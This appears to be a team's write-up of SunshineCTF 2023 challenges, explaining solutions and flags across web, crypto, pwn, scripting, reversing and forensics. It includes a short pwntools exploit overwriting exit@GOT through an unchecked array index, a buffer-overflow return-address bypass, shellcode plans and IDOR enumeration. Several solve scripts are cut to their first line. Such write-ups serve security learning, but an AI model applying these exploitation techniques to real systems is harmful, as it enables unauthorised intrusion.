Team: WAN
Rank: 74/821
WEB
BeepBoop Blog
Slover: 堇姬naup
You can observe a suspicious URL, which has patterns.
You can get something by using different numbers after the URL path /post/
https://beepboop.web.2023.sunshinectf.games/post/1
I guess the flag may be hidden in one of the paths.
Solve Script
1 | import requests |
It can make requests starting from 0 and check whether there is a flag in it.
Get FLAG!!
FLAG:sun{wh00ps_4ll_IDOR}
Hotdog Stand
Solver: Whale120
The challenge is a simple login page, after some tries on sql injection, the official release an information about challenge fixing(while I was on flask-unsign……).
After fixed, we can get
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#### FLAG:`sun{5l1c3d_p1cKl35_4nd_0N10N2}`
# CRYPTO
### BeepBoop Cryptography
---
Solver: `Whale120`
text:
`beep beep beep beep boop beep boop beep beep boop boop beep beep boop boop beep beep boop boop beep boop beep beep beep beep boop boop beep beep beep beep boop beep boop boop boop boop beep boop boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop boop boop boop beep boop
`
turn it into 0/1, and decode with binary, would get something like this:
`fha{rkgrezvangr-rkgrezvangr-rkgrezvangr}`
Caeser cipher decrypt:
#### FLAG:`sun{exterminate-exterminate-exterminate}`
# MISC
# PWN
### 😎 Array of Sunshine ☀️
---
![](https://hackmd.io/_uploads/ByfNfNx-a.png)
![](https://hackmd.io/_uploads/BJSGz4g-a.png)
We can see an obvious bug `scanf("%s",&fruit[v1])`
and It didn't check if `v1` is out of index
Also protection is `Partial RELRO` and fruit is a global variable.
So we know it has a **GOT hijack**
There is a win function which will **$cat flag**
and when `print_sym !=MEMORY[0x404020]` at the same time `MEMORY[0x404020]` is `0x6` (know by gdb)
I gonna hijack `exit@got[plt]` to win function
Because of **NO-PIE** we know `exit@got[plt]` at `0x405040`, `fruit` at `0x405080` (It means `exit@got[plt]` is at `fruit[-8]`)
#### slove script:
```py=
import sys
sys.path.append('/data')
sys.path.append('/home/aukro/pwnbox/data')
from tool.template import *
init(64)
debug()
r = nc('nc chal.2023.sunshinectf.games 23003')
r.recvuntil(b'>>> ')
win = 0x40128f
r.sendline(b'-8')
print(r.recvline())
r.sendline(p64(win))
end()
Flag:
sun{a_ray_of_sunshine_bouncing_around}
Flock of Seagulls 🕊️
With IDA decompiling I found out a function call chainmain->fun1->fun2->fun3->fun4->fun5
also it has a ret adr check chain (didn’t check fuc1->main)fun5->fun4->fun3->fun2->fun1-x>main
and a backdoor function call win
It gave us rsp
and also has a huge BOF
with No PIE
we can just write back the ret adr
to bypass the check
and write func1's ret adr
to win
I also use gdb to help me write bypass payload more easily
slove script:
1 | import sys |
Flag:
sun{here_then_there_then_everywhere}
### Bug Spray 🐛🪲🐞
First thing first we use IDA Decompile it
IDA_DECOMPILE
imo that IDA didn’t decompile correctly
so i chose to oberserve the Assembly code
In this block we know we have RWX at
0x777777
and its size is 0x12c
also we know after this block
r10=r12=0x64
Our target is goto
Lable:off
for the rwx segment
Todo
At the top two blocks of this picture we know it hope the length we wrote is 0x44 or 0x45 (0x64 <= rax+20 < 0x66)
After that it do syscall, and we know 0x64 stands for sys_time
, 0x65 stands for sys_ptrace
, after testing we know only sys_ptrace
is possible to return 0
So, we’ll send 0x45 bytes
syscalltable
For serveral times testing, I finally found out that CAN’T get shell by calling execve("/bin/sh")
so i change to use orw and try to get flag
Finally I get the flag
btw the flag is at ./flag.txt
slove script:
1 | import sys |
Flag:
sun{mosquitos_and_horseflies_and_triangle_bugs_oh_my}
Scripting
DDR
The first time we remote and press enter
Suddenly I lose (x
Now we know we have to do this with scripts
when i try pwntools I found out that it send \xe2\x87\xa6\xe2\x87\xa8\xe2\x87\xa6
and things like that
just use python script to slove this
slove script:
1 | import sys |
Flag:
sun{d0_r0b0t5_kn0w_h0w_t0_d4nc3}
SimonProgrammer 1
A site that woud press some links and play some frequency , the mission is to follow it every time…
Solution:
After an observation on the js source, I noticed that the answers would store in an array called global_frequencies
(but is the filename, also), and I just modifycurrent_frequencies_used_global
into global_frequencies
and also with some string implementation, and finally post it to path /flag
with it’s built-in function!
Solve Script:
1 | current_frequencies_used_global=global_frequencies |
Reversing
Dill
Slover: 堇姬naup
After downloading, you can see a .pyc file.
You can find websites online that can decompiler it.
https://www.toolnb.com/tools-lang-zh-TW/pyc.html
You will get this.
1 | # uncompyle6 version 3.5.0 |
After entering a number, the head and tail will be removed, then cut into groups of four and then swap positions.
I tried to restore it, but it must have been written incorrectly.However, the string length is not long, so you can try it out by using loop.
Solve Script
1 | class Dill: |
FLAG:sun{ZGlsbGxpa2V0aGVwaWNrbGVnZXRpdD8K}
After the End
Forensics
Low Effort Wav 🌊
Author :
堇姬Naup
After downloading, it looks like a .wav
file, but it is actually a .png
file.
Convert it back to PNG first
When I open it. The file seems to be cropped .It might be a Cropalyps
We used exiftool to find out that the phone model he used was Google Pixel 7
We can use acropalypse.app to restore the cropped part
Select pixel 7 and restore it
FLAG:sun{well_that_was_low_effort}
Reversing
First Date
Author :
堇姬Naup
Unzip the file he gave you to get a pdx
containing main.pdz
pdxinfo
I studied the .pdz
file and found some information.Playdate is a handheld video game console.
https://play.date/
Playdate game formats
- luac - Lua bytecode
- pdz - File container
- pda - Audio file
- pdi - Image file
- pdt - Imagetable file
- pdv - Video file
- pds - Strings file
- pft - Font file
Try to find a playdate related reverse tool and you will find one.
https://github.com/cranksters/playdate-reverse-engineering/tree/main
What is .pdz
?
1 | A file with the .pdz extension represents a file container that has been compiled by pdc. They mostly contain compiled Lua bytecode, but they can sometimes include other assets such as images or fonts. This format uses little endian byte order. |
It has given a tool that can unpack all files from a .pdz
You can get a main.luac
1 | python3 pdz.py <.pdz> <路徑> |
Scripting
SimonProgrammer 2
Author :
堇姬Naup
Continue the idea of simon1.
Go grab the variable global_frequencies
You can get this.
1 | ['/static/8J-kljI4N_CfpJYK.wav', '/static/8J-kljM5N_CfpJYK.wav', '/static/8J-kljM3N_CfpJYK.wav', '/static/8J-kljEwMTbwn6SWCg==.wav', '/static/8J-kljE0ODDwn6SWCg==.wav', '/static/8J-kljIxNPCfpJYK.wav', '/static/8J-kljEyOTbwn6SWCg==.wav', '/static/8J-kljE4MjPwn6SWCg==.wav', '/static/8J-kljQyMPCfpJYK.wav', '/static/8J-kljE0Njnwn6SWCg==.wav', '/static/8J-kljExNjTwn6SWCg==.wav', '/static/8J-kljE5NDPwn6SWCg==.wav', '/static/8J-kljY1M_CfpJYK.wav', '/static/8J-kljEwMjTwn6SWCg==.wav', '/static/8J-kljM2MfCfpJYK.wav', '/static/8J-kljEyMjjwn6SWCg==.wav', '/static/8J-kljE1Njfwn6SWCg==.wav', '/static/8J-kljExMPCfpJYK.wav', '/static/8J-kljQwMvCfpJYK.wav', '/static/8J-kljI1OfCfpJYK.wav', '/static/8J-kljI5OPCfpJYK.wav', '/static/8J-kljIwMPCfpJYK.wav', '/static/8J-kljEyMjjwn6SWCg==.wav', '/static/8J-kljUyOfCfpJYK.wav', '/static/8J-kljEwODDwn6SWCg==.wav', '/static/8J-kljUyNPCfpJYK.wav', '/static/8J-kljE1MDPwn6SWCg==.wav', '/static/8J-kljE3MDTwn6SWCg==.wav', '/static/8J-kljM0NfCfpJYK.wav', '/static/8J-kljE4NvCfpJYK.wav', '/static/8J-kljY08J-klgo=.wav', '/static/8J-kljEwN_CfpJYK.wav', '/static/8J-kljk1N_CfpJYK.wav', '/static/8J-kljQ4NvCfpJYK.wav', '/static/8J-kljYy8J-klgo=.wav', '/static/8J-kljI1NPCfpJYK.wav', '/static/8J-kljc2MfCfpJYK.wav', '/static/8J-kljExOTTwn6SWCg==.wav', '/static/8J-kljQ4MvCfpJYK.wav', '/static/8J-kljE3ODHwn6SWCg==.wav'] |
After removing /static/
and .wav
, base64 the string and remove the irrelevant characters at the beginning and end.
1 | import base64 |
The o that comes out of print() is thrown into the following script.
1 | current_frequencies_used_global=['287', '397', '377', '1016', '1480', '214', '1296', '1823', '420', '1469', '1164', '1943', '653', '1024', '361', '1228', '1567', '110', '402', '259', '298', '200', '1228', '529', '1080', '524', '1503', '1704', '345', '186', '64', '107', '957', '486', '62', '254', '761', '1194', '482', '1781'] |
Just throw it to the console of F12 and it will get flag.
FLAG : sun{simon_says_wait_that_was_a_mistake_what_do_you_mean_the_filenames_were_frequencies}